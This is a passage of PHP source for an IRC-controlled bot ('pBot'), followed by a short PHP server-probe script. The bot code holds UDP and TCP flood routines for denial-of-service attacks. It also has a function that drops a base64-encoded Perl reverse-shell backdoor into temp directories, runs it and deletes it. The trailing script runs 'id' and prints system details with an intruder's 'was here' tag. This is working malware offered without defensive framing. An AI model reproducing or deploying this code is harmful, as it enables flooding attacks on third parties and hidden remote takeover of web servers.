    if(isset($_SERVER['SERVER_SOFTWARE'])) 
    { 
       if(strstr(strtolower($_SERVER['SERVER_SOFTWARE']),"apache")) 
          $this->nick = "[A]"; 
       elseif(strstr(strtolower($_SERVER['SERVER_SOFTWARE']),"iis")) 
          $this->nick = "[I]"; 
       elseif(strstr(strtolower($_SERVER['SERVER_SOFTWARE']),"xitami")) 
          $this->nick = "[X]"; 
       else 
          $this->nick = "[U]"; 
    } 
    else 
    { 
       $this->nick = "[C]"; 
    } 
    $this->nick .= $this->config['prefix']; 
    for($i=0;$i<$this->config['maxrand'];$i++) 
       $this->nick .= mt_rand(0,9); 
    $this->send("NICK ".$this->nick);
 } 
  function udpflood($host,$packetsize,$time) {
	$this->privmsg($this->config['chan'],"[\2UdpFlood Started!\2]"); 
	$packet = "";
	for($i=0;$i<$packetsize;$i++) { $packet .= chr(mt_rand(1,256)); }
	$timei = time();
	$i = 0;
	while(time()-$timei < $time) {
		$fp=fsockopen("udp://".$host,mt_rand(0,6000),$e,$s,5);
      	fwrite($fp,$packet);
       	fclose($fp);
		$i++;
	}
	$env = $i * $packetsize;
	$env = $env / 1048576;
	$vel = $env / $time;
	$vel = round($vel);
	$env = round($env);
	$this->privmsg($this->config['chan'],"[\2UdpFlood Finished!\2]: $env MB enviados / Media: $vel MB/s ");
}
 function tcpflood($host,$packets,$packetsize,$port,$delay) 
 { 
    $this->privmsg($this->config['chan'],"[\2TcpFlood Started!\2]"); 
    $packet = ""; 
    for($i=0;$i<$packetsize;$i++) 
       $packet .= chr(mt_rand(1,256)); 
    for($i=0;$i<$packets;$i++) 
    { 
       if(!$fp=fsockopen("tcp://".$host,$port,$e,$s,5)) 
       { 
          $this->privmsg($this->config['chan'],"[\2TcpFlood\2]: Error: <$e>"); 
          return 0; 
       } 
       else 
       { 
          fwrite($fp,$packet); 
          fclose($fp); 
       } 
       sleep($delay); 
    } 
    $this->privmsg($this->config['dael'],"[\2TcpFlood Finished!\2]: Config - $packets pacotes para $host:$port."); 
 }
 function conback($ip,$port)
 {
    $this->privmsg($this->config['chan'],"[\2conback\2]: tentando conectando a $ip:$port");
    $dc_source = 
"IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KcHJpbnQgIkRhdGEgQ2hhMHMgQ29ubmVjdCBCYWNrIEJhY2tkb29yXG5cbiI7DQppZiAoISRBUkdWWzBdKSB7DQogIHByaW50ZiAiVXNhZ2U6ICQwIFtIb3N0XSA8UG9ydD5cbiI7DQogIGV4aXQoMSk7DQp9DQpwcmludCAiWypdIER1bXBpbmcgQXJndW1lbnRzXG4iOw0KJGhvc3QgPSAkQVJHVlswXTsNCiRwb3J0ID0gODA7DQppZiAoJEFSR1ZbMV0pIHsNCiAgJHBvcnQgPSAkQVJHVlsxXTsNCn0NCnByaW50ICJbKl0gQ29ubmVjdGluZy4uLlxuIjsNCiRwcm90byA9IGdldHByb3RvYnluYW1lKCd0Y3AnKSB8fCBkaWUoIlVua25vd24gUHJvdG9jb2xcbiIpOw0Kc29ja2V0KFNFUlZFUiwgUEZfSU5FVCwgU09DS19TVFJFQU0sICRwcm90bykgfHwgZGllICgiU29ja2V0IEVycm9yXG4iKTsNCm15ICR0YXJnZXQgPSBpbmV0X2F0b24oJGhvc3QpOw0KaWYgKCFjb25uZWN0KFNFUlZFUiwgcGFjayAiU25BNHg4IiwgMiwgJHBvcnQsICR0YXJnZXQpKSB7DQogIGRpZSgiVW5hYmxlIHRvIENvbm5lY3RcbiIpOw0KfQ0KcHJpbnQgIlsqXSBTcGF3bmluZyBTaGVsbFxuIjsNCmlmICghZm9yayggKSkgew0KICBvcGVuKFNURElOLCI+JlNFUlZFUiIpOw0KICBvcGVuKFNURE9VVCwiPiZTRVJWRVIiKTsNCiAgb3BlbihTVERFUlIsIj4mU0VSVkVSIik7DQogIGV4ZWMgeycvYmluL3NoJ30gJy1iYXNoJyAuICJcMCIgeCA0Ow0KICBleGl0KDApOw0KfQ0KcHJpbnQgIlsqXSBEYXRhY2hlZFxuXG4iOw==";
    if (is_writable("/tmp"))
    {
      if (file_exists("/tmp/dc.pl")) { unlink("/tmp/dc.pl"); }
      $fp=fopen("/tmp/dc.pl","w");
      fwrite($fp,base64_decode($dc_source));
      passthru("perl /tmp/dc.pl $ip $port &");
      unlink("/tmp/dc.pl");
    }
    else
    {
    if (is_writable("/var/tmp"))
    {
      if (file_exists("/var/tmp/dc.pl")) { unlink("/var/tmp/dc.pl"); }
      $fp=fopen("/var/tmp/dc.pl","w");
      fwrite($fp,base64_decode($dc_source));
      passthru("perl /var/tmp/dc.pl $ip $port &");
      unlink("/var/tmp/dc.pl");
    }
    if (is_writable("."))
    {
      if (file_exists("dc.pl")) { unlink("dc.pl"); }
      $fp=fopen("dc.pl","w");
      fwrite($fp,base64_decode($dc_source));
      passthru("perl dc.pl $ip $port &");
      unlink("dc.pl");
    }
    }
  }
} 

$bot = new pBot; 
$bot->start(); 

?>

<?php

function ConvertBytes($number) {
$len = strlen($number);
if($len < 4) {
return sprintf("%d b", $number); }
if($len >= 4 && $len <=6) {
return sprintf("%0.2f Kb", $number/1024); }
if($len >= 7 && $len <=9) {
return sprintf("%0.2f Mb", $number/1024/1024); }
return sprintf("%0.2f Gb", $number/1024/1024/1024); }                          

echo "/Fx29ID/<br>";
$un = @php_uname();
$id1 = system(id);
$pwd1 = @getcwd();
$free1= diskfreespace($pwd1);
$free = ConvertBytes(diskfreespace($pwd1));
if (!$free) {$free = 0;}
$all1= disk_total_space($pwd1);
$all = ConvertBytes(disk_total_space($pwd1));
if (!$all) {$all = 0;}
$used = ConvertBytes($all1-$free1);
$os = @PHP_OS;

echo "/Fx29ID/ was here ..<br>";
echo "uname -a: $un<br>";
echo "os: $os<br>";
echo "id: $id1<br>";
echo "free: $free<br>";
echo "used: $used<br>";
echo "total: $all<br>";
exit;